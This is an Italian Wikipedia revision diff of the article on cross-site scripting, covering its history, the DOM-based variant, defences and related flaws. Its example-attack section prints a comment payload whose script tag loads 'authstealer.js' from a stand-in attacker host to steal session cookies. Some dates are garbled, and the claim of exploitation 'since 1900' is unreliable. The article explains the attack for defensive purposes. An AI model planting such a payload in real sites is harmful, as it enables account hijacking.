Cross-site scripting: differenze tra le versioni

Contenuto cancellato Contenuto aggiunto
Ho corretto la traduzione
Atarubot (discussione | contributi)
template citazione; fix formato data; elimino parametri vuoti; fix parametro lingua
Riga 11:
Gli ingegneri della sicurezza di Microsoft hanno introdotto il termine "cross-site scripting" nel gennaio del 2000.L'espressione "cross-site scripting" originariamente si riferiva unicamente ad attacchi basati sull'utilizzo di frammenti di codice [[JavaScript]] inseriti all'interno di chiamate a pagine web dinamiche poste su un web-server (tecnica facente parte dei metodi di [[code injection]]) in modo che il server remoto eseguisse operazioni diverse da quelle previste originariamente dall'applicativo web. Tale definizione, gradualmente, si è estesa comprendendo anche altre modalità di "iniezione di codice" basate non solo su [[JavaScript]] ma anche su [[ActiveX]], [[VBScript]], [[Adobe Flash|Flash]], o anche puro [[HTML]]. Ciò ha generato una certa confusione nella terminologia riferita alla [[sicurezza informatica]]: il termine, infatti, ricomprende oggi tutto un insieme di tecniche di attacco e non esclusivamente quella basata su manipolazione di codice JavaScript.<ref name="Grossman">{{Cita web|autore=Grossman, Jeremiah|titolo= The origins of Cross-Site Scripting (XSS)|url= http://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html |data=30 luglio 2006|accesso=15 settembre 2008}}</ref>
 
Vulnerabilità XSS sono state segnalate e sfruttate dal 1900. Siti noti sono stati compromessi nel passato, inclusi siti di social-network come [[Twitter]]<ref>{{Cita web|url=http://www.theguardian.com/technology/blog/2010/sep/21/twitter-bug-malicious-exploit-xss|titolo=Twitter users including Sarah Brown hit by malicious hacker attack|cognome=Arthur|nome=Charles|sito=the Guardian|data=21 settembre 2010-09-21|accesso=21 maggio 2016-05-21}}</ref>, [[Facebook]]<ref>{{Cita web|url=http://www.theregister.co.uk/2008/05/23/facebook_xss_flaw/|titolo=Facebook poked by XSS flaw|cognome=Hacking|accesso=21 maggio 2016-05-21}}</ref>, [[Myspace|MySpace]], [[YouTube]] e [[Orkut]]<ref>{{Cita web|url=http://www.zdnet.com/blog/security/obama-site-hacked-redirected-to-hillary-clinton/1042|titolo=Obama site hacked; Redirected to Hillary Clinton {{!}} ZDNet|cognome=Dignan|nome=Larry|sito=ZDNet|accesso=21 maggio 2016-05-21}}</ref>. Negli anni successivi, i problemi di cross-site scripting hanno superato quelli di buffer overflows diventando la vulnerabilità di sicurezza più comunemente segnalata<ref>{{Cita web|url=https://cwe.mitre.org/documents/vuln-trends/index.html|titolo=CWE -
Vulnerability Type Distributions in CVE|sito=cwe.mitre.org|accesso=2016-05-21 maggio 2016}}</ref>, tant’è che alcuni ricercatori nel 2007 hanno supposto che il 68% dei siti probabilmente sarebbero esposti ad attacchi XSS<ref>{{Cita web|url=http://web.archive.org/web/20080418072230/http://www.csoonline.com/article/221113|titolo=Software Vulnerability Disclosure: The Chilling Effect - CSO Online - Security and Risk|data=2008-04-18 aprile 2008|accesso=2016-05-21 maggio 2016}}</ref>.
 
== Tipologie ==
Riga 40:
Storicamente le vulnerabilità XSS sono state trovate in applicazioni che svolgevano tutto il processamento dei dati lato server. L’input dell’utente (tra cui un vettore XSS) sarebbe stato inviato al server per poi essere rimandato indietro come una pagina web. La necessità di migliorare la user experience ha dato popolarità ad applicazioni che avevano una logica di presentazione (scritta in [[JavaScript]]) che inviava i dati, su richiesta, al server usando [[AJAX]].
 
Mentre il codice Javascript processa anche gli input dell’utente e li visualizza nella pagina web, la nuova sottoclasse di attacchi XSS di tipo reflected ha iniziato ad apparire ed è stata chiamata [[Document Object Model|DOM]]-based cross-site scripting. Negli attacchi XSS DOM-based, i dati malevoli non sono toccati dal server web, piuttosto, sono riflessi dal codice Javascript interamente sul lato client.<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_Based_XSS|titolo=DOM Based XSS - OWASP|sito=www.owasp.org|accesso=2016-05-21 maggio 2016}}</ref>
 
Un esempio di vulnerabilità XSS DOM-based è un bug trovato nel 2011 in una serie di plugin [[JQuery]]<ref>{{Cita web|url=http://bugs.jquery.com/ticket/9521|titolo=#9521 (XSS with $(___location.hash) and $(#<tag>) is needed?) – jQuery - Bug Tracker|sito=bugs.jquery.com|accesso=2016-05-21 maggio 2016}}</ref>. Le strategie di prevenzione per gli attacchi XSS DOM-based includono misure molto simili alle strategie tradizionali di prevenzione XSS, ma implementante in codice [[JavaScript]] e incluse nelle pagine<ref>{{Cita web|url=https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet|titolo=DOM based XSS Prevention Cheat Sheet - OWASP|sito=www.owasp.org|accesso=2016-05-21 maggio 2016}}</ref>. Alcuni framework Javascript hanno creato contromisure contro questi e altri tipi di attacchi — ad esempio [[AngularJS|Angular.js]]<ref>{{Cita web|url=http://docs.angularjs.org/api/ng.$sce|titolo=AngularJS|sito=docs.angularjs.org|accesso=2016-05-21 maggio 2016}}</ref>.
 
== Un esempio di attacco ==
Riga 77:
# Mallory osserva che il sito di Bob contiene una vulnerabilità XSS. Se si va nella sezione News e si posta un commento, verrà visualizzato ciò che è stato digitato. Ma se il testo del commento contiene dei tag HTML i tag verranno visualizzati così come sono. Lo stesso accadrà per eventuali tag di script.
# Mallory legge l’articolo nella sezione News e scrive in un commento. Nel commento inserisce questo testo: <code>Io amo i cuccioli di questa storia. Sono così carini! <script src="http://mallorysevilsite.com/authstealer.js"></code>,
# Quando Alice (o chiunque altro utente) carica la pagina con il commento, lo script di Mallory viene eseguito, ruba il cookie di sessione di Alice e lo invia al server segreto di Mallory<ref>{{Cita web|url=http://www.thegeekstuff.com/2012/02/xss-attack-examples/|titolo=XSS Attack Examples (Cross-Site Scripting Attacks)|sito=www.thegeekstuff.com|accesso=2016-05-21 maggio 2016}}</ref>.
# Mallory può quindi sfruttare la sessione di Alice e usare il suo account fino a una eventuale invalidazione del cookie<ref>{{Cita web|url=http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html|titolo=The top 10 reasons Web sites get hacked|cognome=Brodkin|nome=Jon|sito=Network World|accesso=2016-05-21 maggio 2016}}</ref><ref>{{Cita web|url=http://www.thegeekstuff.com/2012/02/xss-attack-examples/|titolo=XSS Attack Examples (Cross-Site Scripting Attacks)|sito=www.thegeekstuff.com|accesso=2016-05-21 maggio 2016}}</ref>.
Il software del sito di Bob avrebbe potuto analizzare i commenti nella sezione notizie e rimuovere o correggere eventuali script, ma non l’ha fatto, in questo risiede il bug di sicurezza.
 
== Come difendersi ==
=== Encoding dell’ouput contestuale/escaping delle stringhe di input ===
Questa misura dovrebbe essere usata come meccanismo primario di difesa per fermare gli attacchi XSS. Ci sono diversi schemi di escaping che possono essere usati, tra cui HTML entity encoding, JavaScript escaping, CSS escaping, e URL encoding<ref>{{Cita web|url=https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet|titolo=XSS (Cross Site Scripting) Prevention Cheat Sheet|autore=Williams, Jeff|editore=OWASP|data=January 19, gennaio 2009|accesso=}}</ref>. Molte applicazioni web che non accettano rich data possono usare l’escaping per eliminare la maggior parte dei rischi derivati da attacchi XSS in modo abbastanza semplice.
 
=== Convalidare in modo sicuro l’input non attendibile ===
Riga 91:
Oltre al filtraggio dei contenuti, sono comunemente usati altri metodi per mitigare il cross-site scripting.
 
Un esempio è l’uso di controlli di sicurezza aggiuntivi durante la manipolazione della sessione basata sui cookie. Molte applicazioni web si basano sui [[cookie]] di sessione per gestire l’autenticazione tra le diverse richieste HTTP, e dato che gli script lato client hanno generalmente accesso a questo cookie, semplici XSS possono rubarli<ref>{{Cita web|url=http://www.ibm.com/developerworks/ibm/library/wa-secxss/|titolo=Prevent a cross-site scripting attack|sito=www.ibm.com|data=3 febbraio 2004-02-03|lingua=en|accesso=2016-05-21 maggio 2016}}</ref>. Per mitigare questa particolare minaccia, molte applicazioni web legano il cookie di sessione all’indirizzo IP dell’utente che ha ottenuto l’accesso in origine, quindi permette solo a tale IP di utilizzare il cookie<ref>{{Cita web|url=http://www.modsecurity.org/projects/modsecurity/apache/feature_universal_pdf_xss.html|titolo=ModSecurity: Open Source Web Application Firewall|sito=www.modsecurity.org|accesso=2016-05-21 maggio 2016}}</ref>. Questo è efficiente nella maggior parte dei casi ma ovviamente non funziona in situazioni in cui un attaccante si trova dietro lo stesso [[Network address translation|NATed]] indirizzo IP o lo stesso [[Proxy|web proxy]] della vittima, o la vittima sta cambiando il proprio IP mobile<ref>{{Cita web|url=http://www.modsecurity.org/projects/modsecurity/apache/feature_universal_pdf_xss.html|titolo=ModSecurity: Open Source Web Application Firewall|sito=www.modsecurity.org|accesso=2016-05-21 maggio 2016}}</ref>.
 
Un’altra soluzione è presente in [[Internet Explorer]] (dalla versione 6), [[Mozilla Firefox|Firefox]] (dalla versione 2.0.0.5), [[Safari (browser)|Safari]] (dalla versione 4), [[Opera (browser)|Opera]] (dalla versione 9.5) e [[Google Chrome]]; è il flag ''HttpOnly'' che consente a un server web di settare un cookie non accessibile dallo script lato client. Se usata, la funzione può prevenire completamente il furto di cookie ma non gli attacchi all'interno del browser<ref>{{Cita web|url=http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php|titolo=Ajax and Mashup Security|autore=OpenAjax Alliance|editore=|data=|accesso=}}</ref>.
 
=== Disabilitare gli script ===
Mentre le applicazioni [[web 2.0]] e [[AJAX|Ajax]] favoriscono l’uso di Javascript<ref>{{Cita web|url=http://oreilly.com/web2/archive/what-is-web-20.html|titolo=What Is Web 2.0|sito=oreilly.com|accesso=2016-05-21 maggio 2016}}</ref>, alcune applicazioni web sono scritte per consentire il funzionamento senza la necessità di qualsiasi script lato client<ref>{{Cita libro|nome=Frank|cognome=Zammetti|titolo=Practical JavaScript, DOM Scripting and Ajax Projects|url=http://www.amazon.com/gp/reader/1590598164/|accesso=2016-05-21 maggio 2016|edizione=2007 edition|data=2007-04-11 aprile 2007|editore=Apress|lingua=Englishen|ISBN=9781590598160978-1-59059-816-0}}</ref>. Questo permette agli utenti, se lo desiderano, di disattivare qualsiasi script nei loro browser prima di utilizzare l’applicazione. In questo modo, gli script lato client, anche potenzialmente dannosi, potrebbero essere inseriti senza caratteri di escape in una pagina e gli utenti non sarebbero suscettibili di attacchi XSS.
 
Alcuni browser o plugin per browser possono essere configurati per disattivare gli script lato client in base al dominio. Questo approccio ha valore limitato se gli script sono abilitati di default, dato che verranno bloccati quando l’utente li avrà riconosciuti come pericolosi, ma ormai sarà troppo tardi. Una funzionalità che blocca tutti gli script e inclusioni esterne di default, e che quindi permette agli utenti di abilitare in base al dominio, è più efficiente. Questo è stato possibile per un lungo periodo su Internet Explorer (dalla versione 4) impostando le cosiddette “zone di sicurezza”<ref>{{Cita web|url=http://support.microsoft.com/kb/174360/en-us|titolo=Security zones: adding or removing websites - Windows Help|sito=windows.microsoft.com|accesso=2016-05-21 maggio 2016}}</ref> e in Opera (dalla versione 9) usando le “preferenze specifiche del sito”. La soluzione per Firefox e altri [[Gecko]]-based browser è l’add-on open source NoScript che oltre ad abilitare gli script per dominio, fornisce una certa protezione XSS anche quando gli script sono abilitati<ref>{{Cita web|url=http://db.tidbits.com/article/9511|titolo=Should Mac Users Run Antivirus Software?|sito=db.tidbits.com|accesso=2016-05-21 maggio 2016}}</ref>.
 
Il problema più rilevante dato dal blocco di tutti gli script in tutti i siti web di default è la sostanziale riduzione delle funzionalità e della reattività (lo scripting lato client può essere molto più veloce rispetto a quello lato server perché non ha bisogno di connettersi ad un server remoto e la pagina, o il frame, non ha bisogno di essere ricaricata).Un altro problema con il blocco dello script è che molti utenti non lo capiscono e non sanno come proteggere adeguatamente il loro browser. Un altro svantaggio che molti siti non funzionano senza scripting lato client, costringendo gli utenti a disattivare la protezione per il sito<ref>{{Cita news|url=http://news.bbc.co.uk/2/hi/technology/6210068.stm|titolo='Most websites' failing disabled|pubblicazione=BBC|data=5 dicembre 2006-12-05|accesso=2016-05-21 maggio 2016}}</ref>. L’estensione per Firefox NoScript consente agli utenti di abilitare gli script da una determinata pagina ma non consente l’esecuzione ad altri della stessa pagina. Ad esempio, gli script da example.com possono eseguire, gli script da advertisingagency.com che sta tentando di eseguire sulla stessa pagina possono essere disabilitati<ref>{{Cita web|url=http://noscript.net/features|titolo=NoScript - JavaScript/Java/Flash blocker for a safer Firefox experience! - features - InformAction|sito=noscript.net|accesso=2016-05-21 maggio 2016}}</ref>.
 
=== Tecnologie di difesa emergenti ===
Ci sono tre classi di difesa da XSS che stanno emergendo.  Queste includono Content Security Policy<ref>{{Cita web|url=http://www.w3.org/TR/CSP/|titolo=Content Security Policy Level 2|sito=www.w3.org|accesso=2016-05-21 maggio 2016}}</ref>, Javascript sandbox tools, e auto-escaping templates. Questi meccanismi sono ancora in evoluzione, ma promettono un futuro dove gli attacchi XSS saranno fortemente ridotti.
 
== Servizi di scanning ==
Alcune aziende offrono un servizio di scansione periodica, sostanzialmente simulando un attacco dal proprio server al server del cliente per verificare se l’attacco ha successo. Se ciò avviene, il cliente riceve informazioni dettagliate su come è stato eseguito l'attacco e quindi ha la possibilità di risolvere il problema prima che lo stesso attacco sia fatto da qualcun altro. Lo scanner non può trovare tutte le possibili vulnerabilità,<ref>{{Cita web|url=http://blog.skeptikal.org/2010/03/website-security-seals-smackdown.html|titolo=Blogger|sito=blog.skeptikal.org|accesso=2016-05-21 maggio 2016}}</ref> pertanto, i siti scansionati possono essere ancora vulnerabili a nuovi tipi di attacchi, ma le scansioni può rilevare alcuni problemi noti. Dopo che il cliente ha risolto i bug di sicurezza, il sito sarà sicuramente più sicuro di prima. Per i siti che richiedono una soluzione completa delle vulnerabilità XSS sono necessarie tecniche di valutazione come una revisione manuale del codice.
 
== Vulnerabilità correlate ==
In un attacco '''Universal Cross-Site Scripting''' ('''UXSS''', o '''Universal XSS''') vengono sfruttate le vulnerabilità del browser stesso, piuttosto che le vulnerabilità nei siti web, come per gli attacchi XSS. Tali attacchi sono comunemente usati da [[Anonymous]], insieme a [[Denial of Service|DDoS]], compromettendo il controllo della rete.
 
Diverse classi di vulnerabilità o tecniche di attacco sono legate a XSS: i cross-zone scripting permettono l’esecuzione di codice con maggiori privilegi in alcuni browser<ref>{{Cita web|url=http://www.h-online.com/security/news/item/Security-hole-in-Internet-Explorer-allows-attackers-to-execute-arbitrary-programs-735225.html|titolo=Security hole in Internet Explorer allows attackers to execute arbitrary programs - The H Security: News and Features|sito=www.h-online.com|accesso=2016-05-21 maggio 2016}}</ref>. HTTP header injection può essere usato per creare le condizioni necessarie per il cross-site scripting sfuggendo a problemi di HTTP protocol level (oltre a consentire attacchi come il HTTP response splitting)<ref>{{Cita web|url=http://www.adobe.com/support/security/bulletins/apsb06-18.html|titolo=Adobe - Security Advisories : Update available for HTTP header injection vulnerabilities in Adobe Flash Player|sito=www.adobe.com|accesso=2016-05-21 maggio 2016}}</ref>.
 
[[Cross-site request forgery]] (CSRF/XSRF) è quasi l’opposto del XSS, nel senso che invece di sfruttare la fiducia degli utenti in un sito, l’attaccante e la sua pagina malevola, sfrutta la fiducia del sito nel software del client, facendo richieste che il sito ritiene azioni consapevoli e intenzionali di un utente autenticato<ref>{{Cita web|url=http://www.cgisecurity.com/articles/csrf-faq.shtml|titolo=This page has moved!|sito=www.cgisecurity.com|accesso=2016-05-21 maggio 2016}}</ref>. Vulnerabilità XSS (anche in altre applicazioni in esecuzione nello stesso dominio) consentono agli aggressori di bypassare gli sforzi di prevenzione CSRF <ref>{{Cita web|url=http://www.webappsecblog.com/CsrfAndSameOriginXss.html|titolo=CSRF and same-origin XSS|cognome=Schneider|nome=Christian|sito=www.webappsecblog.com|lingua=en|accesso=2016-05-21 maggio 2016}}</ref>.
 
Covert Redirect sfrutta client di terze parti suscettibili ad attacchi XSS o Open Redirect. Covert Redirect è stato scoperto dal dottorato di ricerca dello studente Wang Jing del Nanyang Technological University, in Singapore. “Tentativi di normale phishing possono essere facilmente individuati, perché l’URL della pagina malevola è di solito diversa al massimo un paio di lettere rispetto a quella del sito vero e proprio. La differenza con Covert Redirect è che un utente malintenzionato potrebbe utilizzare il sito web vero e proprio anziché violare il sito web con un pop-up di login dannoso.”<ref>{{Cita web|url=http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html|titolo=Facebook, Google Users Threatened by New Security Flaw|sito=Tom's Guide|data=2 maggio 2014-05-02|accesso=2016-05-21 maggio 2016}}</ref>
 
Infine, [[SQL injection]] sfrutta una vulnerabilità nel livello di database dell’applicazione. Quando l’input dell’utente non viene filtrato in modo corretto, possono essere eseguite dall'applicazione tutte le istruzioni SQL.<ref>{{Cita web|url=http://www.cgisecurity.com/xss-faq.html|titolo=The Cross-Site Scripting (XSS) FAQ|sito=www.cgisecurity.com|accesso=2016-05-21 maggio 2016}}</ref>
 
== Note ==